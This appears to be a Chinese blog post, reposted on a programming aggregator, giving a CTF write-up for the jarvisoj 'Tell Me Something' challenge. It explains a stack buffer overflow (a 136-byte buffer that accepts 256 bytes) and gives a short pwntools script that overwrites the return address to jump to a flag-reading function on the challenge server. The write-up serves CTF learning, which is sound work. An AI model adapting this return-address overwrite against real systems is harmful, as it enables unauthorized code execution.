我是靠谱客的博主 无聊小馒头,最近开发中收集的这篇文章主要介绍jarvisoj——Tell Me Something,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

本来想做其他的平台,但是搜了一下还是这个平台比较适合入门。

题目

在这里插入图片描述

Wp

这里首先下载,然后ida打开,看到main函数

在这里插入图片描述

main函数说的实际上就是有一个保存的栈大小为136,但是确允许输入256栈大小的内容,这里存在栈溢出的问题。

然后这里可以看到有一个good_gaem
在这里插入图片描述

可以看到是读取了一个flag.txt的文件。
在这里插入图片描述

那么需要做的就是先覆盖,这里我自己感觉的是,覆盖先将自身拉满,然后加返回地址直接覆盖就行。

最后就是先覆盖136的自身,然后加上good_game的地址即可。

pwntools

from pwn import *
sh = remote("pwn.jarvisoj.com",9876)  
data=136*'a'+p64(0x400620)
sh.sendline(data)
sh.interactive()
sh.close()  

在这里插入图片描述

最后

以上就是无聊小馒头为你收集整理的jarvisoj——Tell Me Something的全部内容,希望文章能够帮你解决jarvisoj——Tell Me Something所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(39)

评论列表共有 0 条评论

立即
投稿
返回
顶部